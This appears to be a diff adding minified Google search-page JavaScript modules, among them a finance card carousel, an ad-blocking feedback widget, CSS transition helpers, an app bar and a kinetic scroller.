+_.F.hB=function(){var a=this.M.N,b=(0,_.yH)(this.M),c=this.B.offsetWidth,c=c*this.FC/100,d=this.Vt.indexOf(this.D);this.Xc?this.ZF?(c=window.Math.round(window.Math.abs(b)/c),a=window.Math.round(window.Math.abs(a.x/this.jb)),0==a&&(a=1),d=0>b?d+c*a:d-c*a):(a=a.x/this.jb,d=this.Nx+window.Math.abs(a)*a,this.Nx=(0,_.Kf)()?window.Math.min(window.Math.max(d,0),(0,_.eL)(this)):window.Math.min(window.Math.max(d,-(0,_.eL)(this)),0),d=window.Math.floor(-this.Nx/c+0.5),(0,_.bL)(this,_.j),this.rD=th [...]
+(0,_.dL)(this,100*this.rD,"%")):-0.01>a.x||b<0.6*-c?d++:(0.01<a.x||b>0.6*c)&&d--;b=this.Vt.indexOf(this.D);d-=b;(0,_.Kf)()&&(d=-d);d=window.Math.min(window.Math.max(b+d,0),this.Vt.length-1);b=this.Vt[d];b!=this.D&&(b.hz&&(c=b.hz.getAttribute("ved"))&&window.google.log("","&ved="+(0,window.encodeURIComponent)(c)+"&ei="+(0,window.encodeURIComponent)((0,window.String)(d))),this.S&&this.S(d));for((0,_.cL)(this,b,_.m,_.j);this.X.length;)this.X.shift()();(0,_.cja)(this,_.j)};
+_.F.eR=function(a){if(this.xy)this.wJ.push((0,_.Xa)(arguments.callee,this,a));else{this.Vt=[];for(var b=0;b<a.length;b++){var c=this.H[a[b]];this.Vt.push(c);this.B.appendChild(c.LD);this.ra&&c.hz&&this.ra.appendChild(c.hz)}(0,_.aja)(this);(0,_.cL)(this,this.D,_.m,_.m)}};
+_.F.bR=function(a,b){b.preventDefault();if(a.hz){var c=a.hz.getAttribute("ved");if(c){var d=this.Vt.indexOf(a);window.google.log("","&ved="+(0,window.encodeURIComponent)(c)+"&ei="+(0,window.encodeURIComponent)((0,window.String)(d)))}}this.S?(d=this.Vt.indexOf(a),this.S(d)):this.D==a&&this.Ja&&(c=a.LD.getAttribute("data-dest"),c!=_.l&&(0,_.yf)(c));(0,_.cL)(this,a,this.Fa,_.j)};_.F.isActive=(0,_.ga)("xy");
+
+(0,_.Mc)(_.Dc.I(),"sy86");(0,_.Qc)(_.Dc.I(),"sy86");
+}catch(e){_._DumpException(e)}
+try{
+_.gL=function(a){return window.localStorage?window.localStorage.getItem(a):_.l};_.dja=function(a){var b=(0,_.bf)("#cm_gesture_hint");b===_.l||(0,_.Gf)(b,"cm_gesture_hint_active");a&&window.localStorage&&window.localStorage.setItem("FINANCE_HAS_SWIPED","yes")};_.eja=function(){var a=(0,_.gL)("FINANCE_HINT_COUNT");return a?(0,window.parseInt)(a,10)||0:0};_.fja=function(a,b){a[b?0:1].style.display="none";a[b?1:0].style.display="block"};
+_.gja=function(a,b,c){var d=(0,_.oh)();d.onreadystatechange=function(){if(4==d.readyState){var a=d.responseText;if(-1==a.indexOf(")]}',\n"))c();else{var a=a.slice(6),f;try{f=(0,_.Qg)(a)}catch(g){}!f||200!=d.status?c():b(f)}}};d.onerror=c;d.open("POST",a,_.j);d.send("")};_.hL=function(a,b){return a.match("\\?")?a+"&"+b:a+"?"+b};_.hja=function(a){function b(){window.setTimeout(a,1E3)}"loading"==window.document.readyState?(0,_.rh)(window,"load",b):b()};(0,_.Pc)(_.Dc.I(),"cfm");
+_.jL=0;_.ija="1d 5d 1M 6M 1Y 5Y max".split(" ");_.jja=0;(0,_.ha)("google.fmob.selectChartPeriod",function(a){if(_.jL!=a){var b=(0,_.af)("div",(0,_.bf)("#fmob_cb_container"));(0,_.fja)((0,_.af)(".ksb",b[_.jL]),_.m);(0,_.fja)((0,_.af)(".ksb",b[a]),_.j);var c=(0,_.bf)("#fmob_chart"),d=c.src.replace(/&p=[^&]*/,"");c.src=d+"&p="+_.ija[a+_.jja];_.jL=a;c=b[a].getAttribute("data-ved");window.google.log("","&ved="+c,"",b[a])}},_.ba);
+(0,_.ah)("cfm",{init:function(a){_.jL=0;_.jja="mutual_fund"==a.result_type?2:0;var b=(0,_.bf)("#fmob_chart"),c=(0,_.bf)("#cm_viewer");if(c&&b){_.iL=new _.$K(c);b=b.src.replace(/&p=[^&]*/,"");if(b=(/[?&]q=([^&]*)/.exec(b)||[_.l])[1]){var c=[],d=(0,_.gL)("FINANCE_CIRO_QUOTES");d&&(c=d.split(","));d=c.indexOf(b);-1!=d&&c.splice(d,1);for(c.unshift(b);7<c.length;)c.pop();c=c.join(",");window.localStorage&&window.localStorage.setItem("FINANCE_CIRO_QUOTES",c);a=a.data_url;a=(0,_.hL)(a,"q="+(0,w [...]
+a=(0,_.hL)(a,"ei="+window.google.kEI);b=[];(c=(0,_.gL)("FINANCE_CIRO_QUOTES"))&&(b=c.split(","));b.length&&(a=(0,_.hL)(a,"frq="+(0,window.encodeURIComponent)(b.join(","))));(0,_.hja)((0,_.Za)(_.gja,a,function(a){if(a){a.css&&(0,_.Fe)(a.css);for(var b in a.cards){var c=a.cards[b];c.content&&c.contentId&&((0,_.bf)("#"+c.contentId).innerHTML=c.content);c.cardId&&(0,_.fL)(_.iL,c.cardId)}a.cardOrder&&_.iL.eR(a.cardOrder)}},_.ka))}window.localStorage?(a=(0,_.eja)(),a=!(0,_.gL)("FINANCE_HAS_SWI [...]
+a):a=_.m;a&&(0,_.hja)(function(){var a=new window.Image;a.onload=function(){var a=(0,_.bf)("#cm_gesture_hint");a.style.backgroundImage="url(//ssl.gstatic.com/m/images/swipe_promo.png)";(0,_.If)(a,"cm_gesture_hint_active")?(0,_.Gf)(a,"cm_gesture_hint_active"):(0,_.Ff)(a,"cm_gesture_hint_active");window.setTimeout((0,_.Za)(_.dja,_.m),6E3);a=(0,_.Za)(_.dja,_.j);_.iL.X.push(a);a=(0,window.String)((0,_.eja)()+1);window.localStorage&&window.localStorage.setItem("FINANCE_HINT_COUNT",a)};a.src=" [...]
+
+(0,_.Mc)(_.Dc.I(),"cfm");(0,_.Qc)(_.Dc.I(),"cfm");
+}catch(e){_._DumpException(e)}
+try{
+_.sv=function(a,b){a+="&ei="+window.google.kEI;b&&(a+="&ved="+b);window.google.log("ablk",a)};_.Mca=function(a){return a!=_.l&&(_.Nca.test(a.id)||_.Oca.test(a.id)||_.Pca.test(a.id))};_.Qca=function(a,b){a!=_.l&&(b==_.l&&(b={}),b.nL=a.id,b.gE=window.google.time(),(0,_.fq)("ablk",b))};
+_.Rca=function(a){var b=[];if(a&&a.nL){b.push("ablk");b.push("id="+a.nL);var c=window.Math.floor((window.google.time()-a.gE)/1E3);if(c<_.tv){b.push("sb=1");for(var d=(0,_.bf)("#"+a.nL);d&&"LI"!=d.nodeName;)d=d.parentNode;if(d&&(a=(0,_.bf)("div.kv",d))){var e=(0,_.uv)(d),e='<br><a href=# class="std gl ablk" style="color:#36c">'+_.vv.c.replace("%1$s",e)+"</a>",e=(0,_.Ze)("span",e);(0,_.Ed)(e,a.lastChild);(a=(0,_.bf)("a.ablk",e))&&(0,_.rh)(a,"click",function(a){var b=d,e=(0,_.bf)("div",b);i [...]
+b)){var i=(0,_.uv)(b),b=_.vv.d.replace("%1$s","<b>"+i+"</b>"),b=(0,_.Ze)("div.ablk","<span class=ablk>"+b+'</span><br><a href="/settings/ads/preferences/blockads" class="std gl ablk" style="color:#12C">'+_.vv.e+"</a>");(0,_.cf)(b,"display","none");(0,_.Dd)(b,e);(0,_.Fd)(e);(0,_.cf)(b,"display","");(0,_.sv)("br:"+c);(e=(0,_.tf)())&&e.hb();window.google.j&&window.google.j.cl&&window.google.j.cl();e="req="+(0,window.encodeURIComponent)((0,_.Rg)({applicationId:162}));(0,_.wv)("token",e,funct [...]
+(a.channelHeader&&a.channelHeader.token)&&(a=a.channelHeader.token,a="req="+(0,window.encodeURIComponent)((0,_.Rg)({annotations:[{entity:{blockAdUrl:i},title:"S:"+_.xv}],applicationId:162}))+"&token="+a,(0,_.wv)("write",a,function(){(0,_.sv)("bs")}))})}a=a||window.event;a.preventDefault&&a.preventDefault();a.returnValue=_.m;(0,_.Nh)(a)})}}b.push("cd="+c);(0,_.fq)("ablk",{})}return b.join(":")};_.uv=function(a){a=(0,_.bf)("cite",a);return!a?"":(0,_.Rd)(a).replace(/\/.*/,"").replace(/^www\ [...]
+_.wv=function(a,b,c){var d=(0,_.oh)();d&&(d.open("POST","/reviews/json/"+a,_.j),d.onreadystatechange=function(){if(4==d.readyState)if(200==d.status)try{var b=window.JSON&&window.JSON.parse?window.JSON.parse(d.responseText):(0,_.Pg)(d.responseText);c(b)}catch(f){window.google.ml(f,_.m,{c:"ablk",action:a})}else(0,_.sv)("ze:"+a+":"+d.status)},d.send(b))};(0,_.Pc)(_.Dc.I(),"ablk");
+_.Nca=/^v?pa\d+$/;_.Oca=/^v?an\d+$/;_.Pca=/^v?pab\d+$/;_.xv="";_.tv=30;_.vv={};(0,_.ah)("ablk",{init:function(a){_.vv=a.m;_.xv=a.q||"";_.tv=a.t;(0,_.mq)(_.Mca,_.Qca,_.Rca,"ablk")}});
+(0,_.Mc)(_.Dc.I(),"ablk");(0,_.Qc)(_.Dc.I(),"ablk");
+}catch(e){_._DumpException(e)}
+try{
+_.bm=function(a){return window.document.defaultView.getComputedStyle(a,_.l)};_.cm=function(a,b,c,d){a.style[_.dm]=(c||_.em)+" "+b+"ms "+(d||"ease-in-out")};_.fm=function(a){a.style[_.dm]=""};_.gm=function(a,b,c,d,e,f,g,h){b="translate3d("+b+"px,"+c+"px,"+(d||0)+"px)";e&&(b+=" rotate("+e+"deg)");(0,_.ja)(f)&&(b+=" scale3d("+f+","+f+",1)");a.style[_.hm]=b;g&&(a.style[_.hm+"OriginX"]=g+"px");h&&(a.style[_.hm+"OriginY"]=h+"px")};(0,_.Pc)(_.Dc.I(),"sy16");
+_.im=_.lc?"-ms-":_.he?"-moz-":_.ie?"-o-":"-webkit-";_.jm=_.lc?"ms":_.he?"Moz":_.ie?"O":"webkit";_.em=_.im+"transform";_.hm=_.jm+"Transform";_.dm=_.jm+"Transition";_.km="WebKitCSSMatrix"in window&&"m11"in new window.WebKitCSSMatrix("");_.kba=/MSIE 1\d/.test(window.navigator.userAgent)?"msTransitionEnd":"webkitTransitionEnd";
+(0,_.Mc)(_.Dc.I(),"sy16");(0,_.Qc)(_.Dc.I(),"sy16");
+}catch(e){_._DumpException(e)}
+try{
+_.MC=function(a,b){(0,_.oa)(b)||(b=[b]);var c=(0,_.Lc)(b,function(a){return(0,_.ua)(a)?a:a.Fs+" "+a.duration+"s "+a.timing+" "+a.Dz+"s"});(0,_.NC)(a,c.join(","))};_.NC=function(a,b){a.style.WebkitTransition=b;a.style.MozTransition=b;a.style.jf=b;a.style.B=b;a.style.Ic=b};(0,_.Pc)(_.Dc.I(),"sy58");
+
+(0,_.Mc)(_.Dc.I(),"sy58");(0,_.Qc)(_.Dc.I(),"sy58");
+}catch(e){_._DumpException(e)}
+try{
+_.tG=function(a,b,c){c=c||"kr";a="kpbv:"+a.getAttribute("data-ved")+"&ei="+window.google.getEI(a);b&&b.hasAttribute("data-ved")&&(a+="&ved="+b.getAttribute("data-ved"));window.google.log(c,a)};_.uG=function(a){a in _.vG||(_.vG[a]=1);_.wG[a]=_.m};_.dfa=function(a){a in _.vG&&(delete _.vG[a],delete _.wG[a])};_.xG=function(a,b){a in _.vG&&(_.wG[a]=b)};_.efa=function(a,b,c,d,e){e=e||"kr";e in _.yG[0]||(_.yG[0][e]={},_.yG[1][e]={},_.yG[2][e]={});_.yG[0][e][a]=b;_.yG[1][e][a]=c;_.yG[2][e][a]=d};
+_.ffa=function(a,b){var c=b||"kr";c in _.yG[0]&&a in _.yG[0][c]&&(_.yG[0][c][a]=_.l,_.yG[1][c][a]=_.l,_.yG[2][c][a]=_.l)};_.zG=function(a,b){if(!(_.AG[b]&&_.AG[b]==a)){var c=_.yG[a];if(c[b]){for(var d in c[b])if(c[b][d])c[b][d]();(0,_.gfa)(a,b);_.AG[b]=a}}};_.gfa=function(a,b){switch(a){case 0:window.google.log(b,"toBase");break;case 2:window.google.log(b,"toReporting")}};(0,_.Pc)(_.Dc.I(),"sy65");
+_.AG={};_.yG=[{},{},{}];_.vG={};_.wG={};
+(0,_.Mc)(_.Dc.I(),"sy65");(0,_.Qc)(_.Dc.I(),"sy65");
+}catch(e){_._DumpException(e)}
+try{
+_.GG=function(a){if(a=a||window.event)a.stopPropagation&&a.stopPropagation(),a.preventDefault&&a.preventDefault(),a.returnValue=_.m,a.cancelBubble=a.cancel=_.j;return _.m};_.HG=function(){var a=(0,_.bf)(".klbar");return a!==_.l&&(0,_.If)(a,"klfb-on")};(0,_.Pc)(_.Dc.I(),"sy67");
+
+(0,_.Mc)(_.Dc.I(),"sy67");(0,_.Qc)(_.Dc.I(),"sy67");
+}catch(e){_._DumpException(e)}
+try{
+_.ifa=function(a){return(0,_.Th)(a)&&(0,_.df)(a,(0,_.bf)("#knop"))};_.jfa=function(a){return(0,_.Th)(a)&&(0,_.df)(a,(0,_.bf)("#nav"))};_.IG=function(){this.Ja=[]};_.JG=function(a,b,c,d){(0,_.rh)(b,c,d);a.Ja.push(function(){(0,_.sh)(b,c,d)})};_.KG=function(a){(0,_.Vh)("extab",a?"1":"0",_.jfa,_.ka);(0,_.Vh)("extab",a?"1":"",_.ifa,_.ka);window.extab=a;(0,_.xf)(102)};
+_.kfa=function(){if((0,_.bf)(".kno-f")){var a=(0,_.bf)("#kc_frame");if(a)return"none"==(0,_.Lf)(a,"display",_.j);a=(0,_.bf)("#kno-ps");return a!=_.l&&(0,_.df)((0,_.bf)("#knop"),a)}return _.m};_.LG=function(a){return 1==a.ctrlKey||1==a.altKey||1==a.shiftKey||1==a.metaKey};
+_.MG=function(){this.Ja=[];this.Kw=(0,_.bf)("#extabar");this.N=(0,_.bf)("#topabar");this.H=(0,_.bf)("#botabar");this.mu=(0,_.bf)("#klcls");this.KA=(0,_.bf)(".klbar");this.S=(0,_.bf)("#klap");var a=(0,_.bf)("#kappbar");this.eC=!a;this.ra=500;this.eC||(this.Kw=a,this.ra=850);this.mu&&(0,_.JG)(this,this.mu,"click",(0,_.Xa)(this.close,this));this.S&&(0,_.JG)(this,this.S,"click",(0,_.Xa)(this.Rq,this));if(this.H!==_.l&&(0,_.If)(this.H,"dark")||this.Kw!==_.l&&(0,_.If)(this.Kw,"dark"))(a=window [...]
+(0,_.cf)(a,"display","")};_.lfa=function(a){a.S===_.l||(0,_.Gf)(a.S,"selected")};_.NG=function(a,b){a.H.style.display=b?"block":"none";a.Kw.style.overflow=b?"hidden":"visible";a.Kw.style.height=b?a.N.offsetHeight+"px":""};
+_.OG=function(a,b,c){if(_.Pe.He||_.Pe.opera)b=[[a.Kw,"height",a.Kw.offsetHeight,b]],a.N&&b.push([a.N,"marginTop",(0,_.Lf)(a.N,"margin-top"),-c]),(0,_.lf)(a.ra,b);else{var d=[a.Kw];a.H&&d.push(a.N,a.H);for(var e=0,f;f=d[e++];)(0,_.Ff)(f,"kltra");a.Kw.style.height=b+"px";window.setTimeout(function(){for(var a=0,b;b=d[a++];)(0,_.Gf)(b,"kltra")},a.ra);a.N&&(a.N.style.marginTop=-c+"px")}};_.mfa=function(a){(a=(a=a.KA)?a.getAttribute("data-stick"):_.l)&&(0,_.Vh)("stick",a,_.jfa,_.ka)};
+_.PG=function(a){a?(0,_.KG)(_.j):"0"==(0,_.Df)("extab")&&(0,_.KG)(_.m)};_.nfa=function(){this.t={start:window.google.time()}};_.ofa=function(a){a.t.P4=a.t.start+_.pfa;a.t.O4=a.t.start+_.qfa;a.t.mc=a.t.start+_.rfa;for(var b={},c=0,d;d=_.sfa[c++];)window.google.kCSI&&d in window.google.kCSI&&(b[d]=window.google.kCSI[d]);c=window.google.sn;window.google.sn="kab";try{window.google.report&&window.google.report(a,b)}finally{window.google.sn=c}};
+_.QG=function(){_.MG.call(this);this.Hu=(0,_.bf)(".klbar");_.RG=_.m;(0,_.uG)("rkab");this.expand();if(window.google.j&&window.google.j.gt){var a=(0,_.tf)();if(a=a&&(0,_.sf)(a,window.google.j.gt())){var b=(0,_.Cf)();a.Fa("/search?"+b.substr(1),600)}}};_.SG=function(a,b,c,d){(0,_.Vh)(b,c,(0,_.Xa)(d.np,d),_.ka)};_.TG=function(a){return a&&(a=a.match(/(^|[?&#])stick=([^&]*)(&|$)/))&&a[2]?a[2]:""};
+_.tfa=function(a,b){a.p&&(window.google.psy&&window.google.psy.pf&&b)&&(_.RG=_.j,_.UG=0,window.setTimeout(function(){(0,_.VG)()&&b()},0))};_.ufa=function(a,b){(0,_.wf)(0,_.ufa);var c=_.WG;_.WG=_.l;c&&(b?(c.name="pi",c.t.z_=window.google.time(),++_.qfa):(c.name="err",c.t.z_=window.google.time(),++_.rfa),(0,_.ofa)(c));return _.j};
+_.vfa=function(a,b){if(b&&_.XG&&a){_.YG=_.ZG=(0,_.TG)(a);var c=_.wfa;(0,_.wf)(6,c);(0,_.uf)(6,c);c=_.xfa;(0,_.wf)(103,c);(0,_.uf)(103,c)}c=_.ufa;(0,_.wf)(0,c);(0,_.uf)(0,c);_.WG=new _.nfa};_.yfa=function(a,b){return window.google.psy.pf(a,function(a){_.$G=_.m;a&&(a=_.aH,_.aH=_.l,a&&(a.t.N4=window.google.time(),a.name="pf",++_.pfa,(0,_.ofa)(a)),20>++_.UG&&(b&&(0,_.VG)())&&(a=0.5*(window.google.time()-_.zfa),window.setTimeout(b,a)))},"k")?(_.$G=_.j,_.zfa=window.google.time(),_.aH=new _.nfa [...]
+_.VG=function(){if(!_.RG||_.$G)return _.m;var a=(0,_.Df)("fp");return!!a&&"1"!=a};_.wfa=function(a,b){if("appbar"==a){var c=_.ZG;_.ZG="";(0,_.wf)(6,_.wfa);if(!(0,_.bf)(".klbar",(0,_.bf)("#appbar")))return _.j;if(c&&c==(0,_.TG)(b))return c=(0,_.T)("appbar"),c===_.l||(0,_.cf)(c,"visibility","visible"),_.m}return _.j};_.xfa=function(a){return _.YG&&(0,_.TG)(a)==_.YG?((0,_.wf)(103,_.xfa),_.m):_.j};_.IG.prototype.dispose=function(){for(var a=0,b;b=this.Ja[a++];)b()};(0,_.ab)(_.MG,_.IG);
+_.MG.prototype.expand=function(){if(!(this.H!==_.l&&(0,_.If)(this.H,"dark")||this.Kw!==_.l&&(0,_.If)(this.Kw,"dark")))if(this.eC?this.Kw.offsetHeight==this.H.offsetHeight:0!=this.Kw.offsetHeight)(0,_.KG)(_.j),(0,_.mfa)(this),this.Kw.style.height=(this.eC?this.H.offsetHeight:this.KA.offsetHeight)+"px";else{if(this.eC&&((0,_.NG)(this,_.j),!this.H.childNodes.length)){(0,_.NG)(this,_.m);(0,_.KG)(_.m);return}this.eC?(0,_.OG)(this,this.H.offsetHeight,this.N.offsetHeight):(this.Kw===_.l||(0,_.c [...]
+"display","block"),(0,_.OG)(this,(0,_.Mf)(this.KA),0));(0,_.KG)(_.j);(0,_.mfa)(this)}};_.MG.prototype.Sg=(0,_.ea)();
+_.MG.prototype.close=function(){this.Sg();(0,_.OG)(this,this.eC?this.N.offsetHeight:0,0);(0,_.KG)(_.m);window.setTimeout((0,_.Xa)(function(){this.eC?(0,_.NG)(this,_.m):(0,_.cf)(this.Kw,"display","none");(0,_.Ff)(this.Kw,"closed");if(this.KA){var a=window.document.querySelector("#knop .kno-fb");a&&(0,_.cf)(a,"display","")}!this.eC&&((0,_.HG)()&&(0,_.kfa)())&&(0,_.zG)(0,"kr");(0,_.Rh)(this.mu,[this.KA],[_.m])},this),this.ra)}; _.MG.prototype.Rq=function(a){!(0,_.LG)(a)&&!(0,_.HG)()&&(this. [...]
+_.sfa=["e","ei"];_.pfa=0;_.qfa=0;_.rfa=0;(0,_.ab)(_.QG,_.MG);_.QG.prototype.np=function(a){return(0,_.Th)(a)&&(0,_.Df)("stick",a.href)!=_.l&&((0,_.df)(a,this.Hu)||(0,_.df)(a,(0,_.bf)("#nav")))};_.QG.prototype.Sg=function(){_.RG=_.m};_.aH=_.l;_.WG=_.l;_.RG=_.m;_.XG=_.m;_.$G=_.m;_.UG=0;_.zfa=0;
+
+(0,_.Mc)(_.Dc.I(),"sy68");(0,_.Qc)(_.Dc.I(),"sy68");
+}catch(e){_._DumpException(e)}
+try{
+_.Mfa=function(a,b,c){a.style.left=b+"px";a.style.top=c+"px"};_.DH=function(a){a=(0,_.bm)(a)[_.hm];return"undefined"!=typeof window.WebKitCSSMatrix?new window.WebKitCSSMatrix(a):"undefined"!=typeof window.MSCSSMatrix?new window.MSCSSMatrix(a):"undefined"!=typeof window.CSSMatrix?new window.CSSMatrix(a):{}};_.Nfa=function(){this.Fa=(0,_.Xa)(this.K1,this);this.N=this.S=0};
+_.Ofa=function(a,b,c,d,e){a=1.25*b*_.EH;window.Math.abs(a)<_.FH&&(c<d?(a=(d-c)*_.GH,a=window.Math.max(a,_.HH)):c>e&&(a=(c-e)*_.GH,a=-window.Math.max(a,_.HH)));return a};_.Pfa=function(a,b,c,d,e,f,g){if(e){e*=0.97;if(b<c)var h=c-b;else b>d&&(h=d-b);h?0>h*e?(f=2==f?0:1,e+=h*_.Qfa):(f=2,e=0<h?window.Math.max(h*_.GH,_.HH):window.Math.min(h*_.GH,-_.HH)):f=0;g?(a.D.y=e,a.S=f):(a.D.x=e,a.N=f)}};
+_.Rfa=function(a,b,c,d){if((0,_.Uc)(b,0))return _.Sfa;(0,_.Uc)(a,b)?a=[0,0]:(b=(d-c*b)/(a-b),a=[b,b*a]);a=[a[0]/c,a[1]/d];c=a[0]*_.IH;d=a[1]*_.IH;return[c,d,c+_.JH,d+_.JH]};_.Tfa=function(){this.B=[]};_.Ufa=function(a){var b=a.B,c=b.shift(),d=b.shift(),e=b.shift(),b=b.shift();a.wA.RQ(c,d,e,b)};_.Vfa=function(){};_.Wfa=function(a){this.Uj=a;this.B=[];this.H=(0,_.Xa)(this.BZ,this)};
+_.KH=function(a,b,c,d,e,f,g,h){this.Xb=a;this.yq=a.parentNode;this.Xb.addEventListener(_.kba,(0,_.Xa)(this.H1,this),_.m);this.Ur=new _.AH(this);(0,_.CH)(this.Ur,f);this.N=(0,_.BH)(this.Ur,0,this);var i;switch(_.Xfa.B){case 0:i=new _.Nfa;break;case 1:i=new _.Tfa}i.OR(this);this.Kz=i;this.jb=!!b;this.Sg=!!c;this.pj=d;this.ka=e||1;this.D=_.LH.clone();this.X=_.LH.clone();this.Ja=_.LH.clone();this.B=_.LH.clone();this.Hk=1==this.ka?_.gm:_.Mfa;2!=this.ka||(0,_.ne)(this.Xb);(0,_.MH)(this,(0,_.ja [...]
+(0,_.ja)(h)?h:this.D.y);this.Lf=[]};_.NH=function(a){var b=(0,_.Tc)(a.B.x,a.H.x,a.D.x),c=(0,_.Tc)(a.B.y,a.H.y,a.D.y);(a.B.x!=b||a.B.y!=c)&&(0,_.MH)(a,b,c)};_.MH=function(a,b,c){a.B.x=b;a.B.y=c;a.Hk(a.Xb,b,c);(0,_.pH)(a.Xb,_.OH,a)};_.PH=function(a){return a.Sg&&a.S.width<a.ra.width};_.Yfa=function(a,b,c,d){b<c?b-=(b-c)/2:b>d&&(b-=(b-d)/2);return b};_.QH=function(a){var b=a.Xb;a.M=_.m;(0,_.cm)(b,0,_.ba,_.ba);(0,_.pH)(a.Xb,_.RH,a);a.Ia=_.m};(0,_.Pc)(_.Dc.I(),"sy74");
+_.Qfa=7/60;_.GH=7/60;_.EH=1E3/60;_.FH=0.25*_.EH;_.HH=0.01*_.EH;_.F=_.Nfa.prototype;_.F.qK=(0,_.E)(0);
+_.F.start=function(a,b,c,d){this.ka=b;this.X=c;this.B=d.clone();this.M=d.clone();b=(0,_.Ofa)(this,a.x,this.B.x,this.ka.x,this.X.x);if(0>b*a.x||!a.x&&b)this.N=2;c=(0,_.Ofa)(this,a.y,this.B.y,this.ka.y,this.X.y);if(0>c*a.y||!a.y&&c)this.S=2;this.D=new _.Vc(b,c);if(window.Math.abs(this.D.y)>=_.FH||window.Math.abs(this.D.x)>=_.FH||this.N||this.S){a=[];for(b=(0,_.zg)();;){do this.B.y+=this.D.y,this.B.x+=this.D.x,this.Ja=window.Math.round(this.B.y),this.ra=window.Math.round(this.B.x),(0,_.Pfa) [...]
+this.ka.x,this.X.x,this.D.x,this.N,_.m),(0,_.Pfa)(this,this.B.y,this.ka.y,this.X.y,this.D.y,this.S,_.j),b+=_.EH;while(!(this.Ja!=this.M.y||this.ra!=this.M.x)&&(window.Math.abs(this.D.y)>=_.HH||window.Math.abs(this.D.x)>=_.HH));if(0==this.N&&0==this.S&&!(this.Ja!=this.M.y||this.ra!=this.M.x))break;a.push(b,this.ra,this.Ja);this.M.y=this.Ja;this.M.x=this.ra}this.H=a;if(this.H.length)return this.Ia=window.setTimeout(this.Fa,this.H[0]-(0,_.zg)()),this.jb=_.j}};_.F.yS=_.ka;
+_.F.stop=function(){this.jb=_.m;this.H=[];window.clearTimeout(this.Ia);(0,_.QH)(this.wA)};_.F.ZI=(0,_.ga)("jb");_.F.OR=(0,_.fa)("wA");_.F.K1=function(){if(this.H.length){var a=this.H.splice(0,3);this.wA.RQ(a[1],a[2]);this.H.length?(a=this.H[0]-(0,_.zg)(),this.Ia=window.setTimeout(this.Fa,a)):this.stop()}};
+_.JH=1/3;_.IH=2/3;_.Sfa=[_.JH,_.IH,_.IH,1];_.F=_.Tfa.prototype;_.F.qG=-5E-4;_.F.qK=(0,_.E)(1);
+_.F.start=function(a,b,c,d){var e=window.Math.abs(a.y)>=window.Math.abs(a.x),f=e?a.y:a.x;a=e?b.y:b.x;var g=e?c.y:c.x,h=e?d.y:d.x;b=(0,_.Tc)(e?d.x:d.y,e?b.x:b.y,e?c.x:c.y);if(h<a||h>g)a=h<a?a:g,this.B.push(e?b:a,e?a:b,500,"ease-out");else if(0.25<=window.Math.abs(f)){d=(c=0>f)?-this.qG:this.qG;var i=c?a-h:g-h,n=f;if(i){var n=f*f,p=2*d,k=-n/p;window.Math.abs(k)<window.Math.abs(i)?(i=k,n=0):(n=window.Math.sqrt(n+p*i),n*=0>f?-1:1);d=(n-f)/d;this.N=n;this.D=d;this.M=i;f="cubic-bezier("+(0,_.R [...]
+this.D,this.M).join(",")+")";h=h+this.M;this.B.push(e?b:h,e?h:b,this.D,f);n=this.N}0!=n&&(a=c?a:g,h=50*n,g=a+h,this.D=2*h/(n+0),f="cubic-bezier("+(0,_.Rfa)(n,0,this.D,h).join(",")+")",this.B.push(e?b:g,e?g:b,this.D,f),this.B.push(e?b:a,e?a:b,500,"ease-out"))}if(this.B.length)return this.H=_.j,(0,_.Ufa)(this),_.j};_.F.yS=function(){this.H&&(this.B.length?(0,_.Ufa)(this):(this.H=_.m,(0,_.QH)(this.wA)))};_.F.stop=function(){this.H=_.m;this.B=[];(0,_.QH)(this.wA)};_.F.ZI=(0,_.ga)("H");_.F.OR [...]
+_.Xfa=new _.Vfa;_.Vfa.prototype.B=1;_.F=_.Wfa.prototype;_.F.initialize=function(){var a=this.Uj.Aa();this.M=a;(0,_.zk)(a,_.OH,(0,_.Xa)(this.QQ,this));1==this.Uj.Kz.qK()&&((0,_.zk)(a,_.Zfa,(0,_.Xa)(this.CZ,this)),(0,_.zk)(a,_.RH,(0,_.Xa)(this.ZZ,this)))};_.F.addListener=function(a){this.B.push(a)};_.F.CZ=function(){window.clearInterval(this.D);this.D=window.setInterval(this.H,30)};_.F.QQ=function(){if(!(1==this.Uj.Kz.qK()&&this.Uj.Kz.ZI()))for(var a=this.Uj.B.x,b=this.Uj.B.y,c=0;c<this.B. [...]
+_.$fa=(0,_.qH)("scroller:scroll_start");_.RH=(0,_.qH)("scroller:scroll_end");_.aga=(0,_.qH)("scroller:drag_end");_.OH=(0,_.qH)("scroller:content_moved");_.Zfa=(0,_.qH)("scroller:decel_start");_.LH=new _.Vc(0,0);_.F=_.KH.prototype;_.F.tG=_.j;_.F.reset=function(){this.stop();this.N.reset();var a=this.Xb;this.M=_.m;(0,_.cm)(a,0,_.ba,_.ba);this.lC();(0,_.MH)(this,(0,_.Ge)(window.document.body)?this.H.x:this.D.x,this.D.y)};
+_.F.lC=function(){this.S=new _.Wc(this.yq.offsetWidth,this.yq.offsetHeight);this.ra=new _.Wc(this.Rq||this.Xb.scrollWidth,this.np||this.Xb.scrollHeight);var a=new _.Wc(window.Math.max(this.S.width,this.ra.width),window.Math.max(this.S.height,this.ra.height)),b=(0,_.Ge)(window.document.body),c;b?(c=a.width-this.S.width,c=this.X.x?window.Math.min(c,this.X.x):c):c=_.LH.x-this.X.x;this.D=new _.Vc(c,_.LH.y-this.X.y);this.H=new _.Vc(b?this.Ja.x:window.Math.min(this.S.width-a.width+this.Ja.x,th [...]
+a.height+this.Ja.y,this.D.y));(0,_.NH)(this)};_.F.UB=function(a,b,c,d){if(c&&1==this.ka){var e=this.Xb;this.M=0<c;(0,_.cm)(e,c,_.em,d)}(0,_.MH)(this,a,b)};_.F.H1=function(a){a.target==this.Xb&&(this.M=_.m,this.Kz.yS())};
+_.F.stop=function(){if(this.Kz.ZI())if(2==this.ka)this.Kz.stop();else{var a=(0,_.DH)(this.Xb);if(this.M){this.B.x=a.m41;this.B.y=a.m42;this.Xc=_.j;var b=this;window.setTimeout(function(){var c=(0,_.DH)(b.Xb),d=b.Xb;b.M=_.m;(0,_.cm)(d,0,_.ba,_.ba);window.setTimeout(function(){b.Xc=_.m},0);d=c.m41+2*(c.m41-a.m41);c=c.m42+2*(c.m42-a.m42);d=(0,_.Tc)(d,b.H.x,b.D.x);c=(0,_.Tc)(c,b.H.y,b.D.y);b.Kz.stop();(0,_.MH)(b,d,c)},0)}else{var c=a.m41,d=a.m42;this.Kz.stop();(0,_.MH)(this,c,d)}}};
